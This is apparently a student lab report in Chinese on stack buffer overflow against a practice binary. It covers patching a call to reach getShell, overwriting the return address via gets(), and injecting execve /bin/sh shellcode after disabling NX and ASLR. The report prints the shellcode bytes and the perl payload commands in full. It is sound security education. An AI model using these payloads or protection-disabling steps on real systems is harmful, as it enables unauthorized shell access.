1.实验内容
1.1逆向工程与汇编基础:
掌握了汇编指令(如NOP、JMP等)在控制程序流中的作用。
学会使用objdump反汇编可执行文件,并通过十六进制编辑器修改机器码以改变程序执行流程。
1.2缓冲区溢出(Buffer Overflow)原理:
了解堆栈结构和返回地址覆盖,理解如何通过超长输入覆盖返回地址来控制程序流。
利用无边界检查的输入函数(如gets())产生的漏洞,构造攻击Payload。
1.3Linux系统编程与调试:
使用gdb调试器分析程序运行状态,确定返回地址位置并验证攻击效果。
使用Linux命令行工具及perl脚本生成Payload
1.4Shellcode与代码注入:
理解Shellcode的构造与用途,利用NOP滑行区和返回地址组合实现注入攻击。
使用系统调用(如execve)在Shellcode中实现获取Shell等特定功能。
1.5系统防御机制与绕过技术:
掌握栈保护、数据执行保护(DEP/NX)、地址随机化(ASLR)等防御技术,并了解如何在实验中绕过这些保护措施。
2.实验过程
本次实验可以分为直接修改程序指令、利用缓冲区溢出漏洞进行攻击、注入并运行自定义Shellcode三个模块。使用的原件为pwn20222409,三个模块分别用原件的副本(分别命名为pwn20222409a、pwn20222409b、pwn20222409c)进行操作。
2.1直接修改程序指令
我们首先通过objdump反汇编目标文件pwn20222409a,定位到main函数中调用foo函数的call指令。接着,我们计算call指令目标地址偏移量,并手动将其修改为getShell函数的地址,从而使程序直接跳转到getShell函数运行。修改后,保存并验证文件,再次反汇编检查指令是否正确更改。最后,运行修改后的程序,成功触发getShell函数并获取到Shell,验证了手工修改机器指令能有效改变程序执行流。具体过程如下:
2.1.1反汇编程序
通过objdump工具将pwn1文件反汇编,查看其汇编代码:
objdump -d pwn20222409a | more
命令解释:
- objdump 一个GNU工具,可以显示二进制文件的汇编代码。
- -d 一个参数,表示对文件进行反汇编,将机器代码转化为汇编代码。
- pwn20222409a 要反汇编的文件。
- | more 表示将输出分页显示。
随后,找到找到getshell、foo和main函数,如图1所示。
图1: 反汇编结果显示的getShell、foo、main函数地址信息
汇编代码解释:
- 080484af:第一列为内存地址,这里指main函数的起始地址。
- e8 d7 ff ff ff:第二列为机器指令,这里指call指令。
- call 8048491
:第三列为机器指令对应的汇编语言,这里指调用位于8048491的foo函数。
在图1白色高亮的部分(内容如下)可以看到,main函数调用了foo函数。
80484b5: e8 d7 ff ff ff call 8048491 <foo>
2.1.2确定目标地址并计算偏移量
现在我们需要将main函数中的call foo改为调用getShell。首先,找到getShell的地址,而图1中有如下代码块:
0804847d <getShell>:
804847d: 55 push %ebp``
在这里,我们找到了 getShell 函数的地址:0804847d。
我们需要修改 call foo 指令,使其跳转到该地址,计算偏移量如下:
- 当前偏移量:8048491 - 80484ba = -41,补码为 d7ffffff。
- 目标偏移量:804847d - 80484ba = -61,补码为 c3ffffff。
因此,将 d7ffffff 修改为 c3ffffff,即可将 call foo 跳转改为 call getShell。
2.1.3 修改机器指令
接下来,我们需要将call foo的机器码e8 d7 ff ff ff改为e8 c3 ff ff ff。这个操作可以通过vi编辑器来完成。我们可以使用以下代码进入编辑器:
vi pwn20222409a
进入编辑器后,用以下代码切换到十六进制模式并找到我们要修改的机器指令:
:%!xxd
命令解释:
- :%!xxd 将文件显示为十六进制格式,方便我们直接看到机器码。
- xxd 是一个十六进制查看和编辑工具,用于在vi中切换文件显示格式。
接着,用以下代码搜索指令e8 d7以找到call foo的位置:
/e8 d7
命令解释:
- / 是vi中的搜索命令。
- e8d7 是我们要找到的十六进制代码的前两个字节。
找到位置后,键盘敲击i进入insert模式,将d7改为c3。完成修改后,键盘敲击esc退出insert模式。
最后将文件切换回原格式并保存退出:
:%!xxd -r
:wq
命令解释:
- :%!xxd -r 将文件切换回正常格式。
- :wq 用于保存并退出编辑器。
2.1.4运行并验证修改
保存修改后,我们再次反汇编pwn1文件来检查是否修改成功:
objdump -d pwn20222409a | more
现在你应当能看到call指令目标已从foo变为getShell。我们接着用以下命令运行文件:
./pwn20222409a
如果操作正确,程序将直接跳转到getShell并打开一个Shell。输入简单命令(如ls),确认获得Shell权限。如图2所示,就意味着我们成功改变了程序的执行流!
图2:修改后程序成功执行getShell
而未经历修改的原件pwn20222409的执行结果为如图3所示:
图3:未修改的程序正常执行foo函数,不调用getShell
2.2利用缓冲区溢出漏洞进行攻击
首先通过分析程序结构找到foo函数中的gets()函数漏洞,该函数无长度检查,使得超长输入能够覆盖返回地址;接着,使用调试工具gdb确定返回地址的位置并计算溢出偏移量,然后通过构造特定格式的攻击Payload,将返回地址改写为目标函数getShell的地址,从而绕过正常执行流程,最终成功获得Shell。
2.2.1漏洞分析
在pwn20222409b程序中,main函数调用foo,foo中调用gets()读取用户输入并打印。函数执行完毕后会返回main,正常情况下不会执行隐藏的getShell函数。
然而,我们通过分析发现gets()没有对输入长度进行检查,因此可能导致缓冲区溢出攻击。利用这个漏洞,我们可以向程序输入超长字符串,进而覆盖foo函数的返回地址,使程序跳转到任意指定的代码片段,从而强制执行getShell函数。
2.2.2寻找缓冲区溢出位置
缓冲区溢出攻击的核心是覆盖返回地址。为此,我们首先需要确定溢出开始位置及覆盖返回地址所需的偏移量。
使用以下代码加载程序。
gdb pwn20222409b
使用以下命令在gdb中运行程序
(gdb) r
输入以下长字符串后按回车,观察EIP寄存器是否被覆盖:
2022240920222409202224092022240920222409
通过info r命令查看当前寄存器状态,判断EIP是否为我们输入的字符串内容,结果如图4白色高亮部分所示。
(gdb) info r
图4:通过 gdb 检测缓冲区溢出后 EIP 寄存器的值显示字符覆盖情况。
看到EIP值变为0x32323032,表示字符2、2、0、2,与字符串中的2022(最后一个)对应,说明在此偏移量上成功覆盖了返回地址,用exit命令退出gdb。
(gdb) exit
2.2.3构造攻击Payload
在定位到覆盖返回地址的位置后,我们可以开始构造攻击Payload,使返回地址指向getShell函数的内存地址。
由图1可知getshall的内存地址为0x0804847d,故只要把原长字符串(2022240920222409202224092022240920222409)中最后一个20222409替换成getShell的地址0x0804847d即可,即替换成字符串
20222409202224092022240920222409\x7d\x84\x04\x08
接着,我们可以使用如下的perl命令构造Payload,将getShell地址写入溢出的部分:
perl -e 'print "20222409202224092022240920222409\x7d\x84\x04\x08\x0a""' > input
命令解释:
- perl -e '...':使用Perl解释器执行紧跟在-e后面的代码。
- print "...":输出指定的字符串。这里字符串包括了填充字符20222409202224092022240920222409和地址\x7d\x84\x04\x08,其中\x0a是换行符,表示结束输入。
- \x7d\x84\x04\x08:以小端字节序表示的getShell的内存地址
- > input:将生成的字符串重定向到input文件中。
之后,会生成一个生成一个包含这些16进制内容的文件input。使用xxd工具检查生成的input文件,代码如下,结果如图5所示:
xxd input
图5:使用 xxd 工具查看构造的攻击 Payload 内容,确认格式是否正确。
2.2.4执行攻击并验证
有了攻击Payload后,我们通过将该Payload作为输入,验证程序是否可以通过溢出跳转到getShell函数。
我们可以使用管道将构造好的Payload注入到pwn20222409b程序中,代码如下:
(cat input; cat) | ./pwn20222409b
如果Payload成功跳转到getShell函数,程序应返回Shell提示符。可以通过输入系统命令(如ls)来确认是否成功。如图6所示,输入ls,展现了当前文件夹下所有文件,这表明缓冲区溢出成功覆盖了返回地址,并跳转到getShell函数执行。:
图6:缓冲区溢出成功执行 getShell 并获得 Shell 权限后的截图。
2.3注入并运行自定义Shellcode
首先,我们需要理解Shellcode的基本原理。Shellcode是一段直接用于执行特定任务的机器码。一般情况下,Shellcode的用途是获取一个交互式Shell以便控制目标系统。在本实验中,我们将使用一段简单的Shellcode,它的作用是在Linux系统上启动/bin/sh。以下是我们在实验中使用的Shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
2.3.1关闭防护机制
为了使Shellcode能成功执行,需要关闭一些系统保护机制,确保注入的代码可在栈上运行。
2.3.1.1设置堆栈为可执行
默认情况下,Linux系统会禁止在栈上执行代码(DEP/NX保护),因此我们需要使用execstack工具修改可执行文件以允许其在栈上运行代码,使用的命令如下:
sudo apt-get install execstack
命令解释:安装execstack工具。
execstack -s pwn20222409c
命令解释:为目标程序设置可执行堆栈。
可以使用的命令:
execstack -q pwn20222409c
命令解释:查询pwn20222409c文件当前的堆栈可执行状态。若设置成功,则输出结果应显示为 X pwn20222409c
2.3.1.2 关闭地址空间随机化(ASLR)
ASLR会随机化程序的内存地址,增加返回地址预测难度,为了实验,我们暂时关闭它,命令如下:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space
命令解释:将ASLR设置为0,关闭地址随机化。
可以使用的命令:
more /proc/sys/kernel/randomize_va_space
命令解释:查看系统地址空间随机化(ASLR)的状态。
- 如果输出为“0”,则表示关闭ASLR,即本实验最后预期的现象
- 如果输出为“1”,则表示启用ASLR
- 如果输出为“2”,则表示完全启用ASLR
- 如果输出不是0,则需要关闭ASLR
2.3.2构造Payload
为了将Shellcode成功注入到目标程序,我们需要构造一个合适的Payload。Payload的主要结构为:前32字节填充NOP滑行区 + Shellcode + 返回地址。
构造并保存Payload的初步版本到文件input_shellcode_20222409中,先使用占位符代替返回地址,稍后调试确定实际的返回地址,代码如下:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode_20222409
命令解释:
- \x90\x90\x90\x90\x90\x90:NOP滑行区
- \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80:Shellcode,用于执行/bin/sh获取Shell。
- \x90\x4\x3\x2\x1\x00:包含返回地址的占位符 \x4\x3\x2\x1,稍后会替换为Shellcode的实际地址。0x00用于标记字符串结束。
输入以下命令注入Payload并运行pwn20222409c::
(cat input_shellcode_20222409; cat) | ./pwn20222409c
运行结果如图x所示:
图7:显示关闭 DEP/NX 防护,并使 pwn20222409c 栈可执行的操作结果。
2.3.3确定Shellcode地址并修改返回地址
在新的终端中找到目标程序的进程号,并使用GDB附加到该进程,命令如下,结果如图8所示:
ps -ef | grep pwn20222409c
图8:ps命令显示pwn20222409c的进程号
继续在新终端中,使用GDB附加到进程号为426551的pwn20222409c程序,以分析并找到Shellcode的确切位置,代码如下:
gdb pwn20222409c
attach 426551
继续在新终端中使用以下命令在返回指令处设置断点,并继续运行程序:
disassemble foo
运行结果如图9所示:
图9:GDB调试过程中设置foo函数返回地址断点
图9中ret的地址为0x080484ae,因此,在这里设置断点,使用的命令如下。
break *0x080484ae
键入c(continue)继续运行,随后在旧终端敲击enter,打断continue。
c
在新终端输入以下命令,查看栈顶指针的地址,找到Shellcode位置,为0xffffcfac:
info registers esp
使用以下命令在内存中查找该地址存放的内容,找到占位符0x04030201的位置,如图10所示。
x/16x 0xffffcfac
图10:通过ESP寄存器查看Shellcode的存放位置
Shellcode应在该地址加4的位置,比如此处为0xffffcfb0
2.3.4修改Payload的返回地址并注入
将占位符替换为确定的Shellcode起始地址0xffffcfb0,并使用小端格式进行表示。保存Payload到文件并重新注入。在旧窗口输入以下代码:
perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode_20222409
(cat input_shellcode_20222409; cat) | ./pwn20222409c
2.3.5验证结果
执行成功后,程序应跳转到Shellcode,并在Shell内执行,如图11所示。
图11:修改Payload返回地址后成功获取Shell的界面
3.问题及解决方案
- 问题1:2.1.3中,输入/e8d7显示pattern not found,如图12所示。
图12:十六进制编辑器中未找到指定的机器码模式 - 问题1解决方案: 实际上要查找的是e8 d7,中间有空格,可以换成/e8 d7 或者/d7ff
- 问题2:未安装gbd
- 问题2解决方案:使用sudo apt update和sudo apt install gdb命令安装gdb
- 问题3:想关闭 ASLR。但输入sudo echo 0 > /proc/sys/kernel/randomize_va_space时,系统都会显示zsh: permission denied: /proc/sys/kernel/randomize_va_space
- 问题3解决:I/O 重定向>由当前 shell 处理。解释器将该命令视为 3 个部分:①sudo echo 0 ②> ③/proc/sys/kernel/randomize_va_space
echo是使用超级用户权限执行的,而当前 shell(具有普通用户权限)尝试写入/proc/sys/kernel/randomize_va_space,就会由于权限不足触发Permission denied错误。只需使用超级用户权限运行 shell,并使用开关将命令传递给 shell -c,命令如下:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space
4.学习感悟、思考等
在这次实验中,我深入学习了缓冲区溢出和Shellcode注入的核心原理,通过逆向分析、反汇编以及直接修改机器指令,理解了如何精准地控制程序流。整个实验中,尤其是在定位返回地址、调整Payload以及调试Shellcode时,遇到许多反复试错的难题,每一步都需要细致的计算和耐心调试,充分体验到攻防实践的复杂性和艰辛。然而,随着各个部分逐步成功,最终获得Shell权限的成就感让我意识到攻防技术的魅力和挑战,也让我更加坚定了继续深耕网络安全的决心。
参考资料
- 《How to turn off ASLR in Ubuntu 9.10 - linux》
- 《vim does not find and replace simple phrase that is clearly present》
- 《gdb 调试入门(一):Windows/Linux/Ubuntu 下安装 gdb》
- 《【2024年最新版】Kali安装详细教程》